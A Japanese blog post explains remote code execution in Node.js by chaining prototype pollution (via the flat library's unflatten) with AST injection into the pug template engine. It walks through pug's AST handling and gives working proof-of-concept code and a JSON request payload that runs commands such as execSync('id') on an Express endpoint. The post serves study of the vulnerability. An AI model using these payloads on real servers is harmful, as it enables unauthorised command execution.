banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

ASTインジェクション + プロトタイプ汚染によるRCE

テンプレートエンジンとは#

JS ウェブ開発でよく使われるテンプレートエンジンには ejspughandlebars があります。
機能:動的に HTML コードをレンダリングし、再利用可能なページ構造を作成します。

ejs テンプレートの使用

// EJSモジュールをインストール:npm install ejs

// EJSモジュールをインポート
const ejs = require('ejs');

// テンプレートを定義
const template = `
  <h1>Hello, <%= name %>!</h1>
`;

// テンプレートをレンダリング
const data = { name: 'John' };
const html = ejs.render(template, data);

console.log(html);

handlebars テンプレートの使用

// Handlebarsモジュールをインストール:npm install handlebars

// Handlebarsモジュールをインポート
const handlebars = require('handlebars');

// テンプレートを定義
const template = `
  <h1>Hello, {{name}}!</h1>
`;

// テンプレートをコンパイル
const compiledTemplate = handlebars.compile(template);

// テンプレートをレンダリング
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

pug テンプレートの使用

// Pugモジュールをインストール:npm install pug

// Pugモジュールをインポート
const pug = require('pug');

// テンプレートを定義
const template = `
  h1 Hello, #{name}!
`;

// テンプレートをコンパイル
const compiledTemplate = pug.compile(template);

// テンプレートをレンダリング
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

テンプレートエンジンの動作原理#

字句解析 -> 構文解析 -> コード生成

image

しかし、構文木の処理中にプロトタイプチェーンの汚染が存在すると、AST ツリーを自由に変更でき、生成されたコードに影響を与え、最終的に RCE(リモートコード実行)を達成することができます。

image

pug テンプレート AST インジェクション#

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

fn({msg: 'It works'}); のステップに到達すると、本質的には関数に入ります。

(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
    var locals_for_with = (locals || {});
    
    (function (msg) {
      ;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
    }.call(this, "msg" in locals_for_with ?
        locals_for_with.msg :
        typeof msg !== 'undefined' ? msg : undefined));
    ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

AST インジェクション原理分析#

構文木構造#

pug は h1= msg を解析し、生成された構文木構造:

{
    "type":"Block",
    "nodes":[
        {
            "type":"Tag",
            "name":"h1",
            "selfClosing":false,
            "block":{
                "type":"Block",
                "nodes":[
                    {
                        "type":"Code",
                        "val":"msg",
                        "buffer":true,
                        "mustEscape":true,
                        "isInline":true,
                        "line":1,
                        "column":3
                    }
                ],
                "line":1
            },
            "attrs":[

            ],
            "attributeBlocks":[

            ],
            "isInline":false,
            "line":1,
            "column":1
        }
    ],
    "line":0
}

構文木生成後、walkAst を呼び出して構文木の解析プロセスを実行し、各ノードのタイプを順に判断します。以下のコードのように:

function walkAST(ast, before, after, options){
	
	parents.unshift(ast);

    switch (ast.type) {
	    case 'NamedBlock':
	    case 'Block':
	      ast.nodes = walkAndMergeNodes(ast.nodes);
	      break;
	    case 'Case':
	    case 'Filter':
	    case 'Mixin':
	    case 'Tag':
	    case 'InterpolatedTag':
	    case 'When':
	    case 'Code':
	    case 'While':
	      if (ast.block) { // 注意ここ
	        ast.block = walkAST(ast.block, before, after, options);
	      }
	      break;
	    case 'Text':
	      break;
	}
	parents.shift();
}

構文木実行順序#

生成された構文木構造の例を挙げると、解析順序は次の通りです:

  1. Block
  2. Tag
  3. Block
  4. Code
  5. …?

第 4 ステップで node.TypeCode タイプの場合、以下のコードが実行されます:

	    case 'Code':
	    case 'While':
	      if (ast.block) { // 注意ここ
	        ast.block = walkAST(ast.block, before, after, options);
	      }
  1. ast.block 属性が存在するかどうかを判断します。この時の ast は現在の ast 構文木のノードです。
  2. 存在する場合、block を再帰的に解析します。

プロトタイプチェーン汚染との結合#

どこかにプロトタイプチェーン汚染の脆弱性が存在し、次のようになるとします。

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

この場合、ast.blockast.__proto__.block にアクセスし、Object.prototype.block の属性にアクセスします。

この時、コードの出力結果は XSS を引き起こします。

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

RCE#

pug は本質的に h1 =msg のようなコードをコンパイルして、実際には構文木を生成し、new Function を使用します。

したがって、AST インジェクションを通じてノードを挿入し、それをコードにすることができれば、リモートコード実行の目的を達成できます。

pug には次のようなコードがあります。

// /node_modules/pug-code-gen/index.js
  
if (debug && node.debug !== false && node.type !== 'Block') {  
    if (node.line) {  
        var js = ';pug_debug_line = ' + node.line;  
        if (node.filename)  
            js += ';pug_debug_filename = ' + stringify(node.filename);  
        this.buf.push(js + ';');  
    }  
}  

したがって、AST インジェクション + プロトタイプ汚染を通じて RCE を実現できます。

const pug = require('pug');

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);

攻撃例#

express で開発されたウェブサービスの CGI の一つは次の通りです:

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

ローカルで起動し、ポート 1337 で実行します:

image

プロトタイプチェーン汚染#

次の行に注意してください:

const { song } = unflatten(req.body);

unflatten このライブラリにはプロトタイプチェーン汚染があります。

var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true

AST インジェクション#

次の行に注意してください:

pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })

プロトタイプチェーン汚染と組み合わせることで、RCE を実現できます。

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
			"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 任意のコマンドを実行可能
		}
}

参考#

https://blog.p6.is/AST-Injection/

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。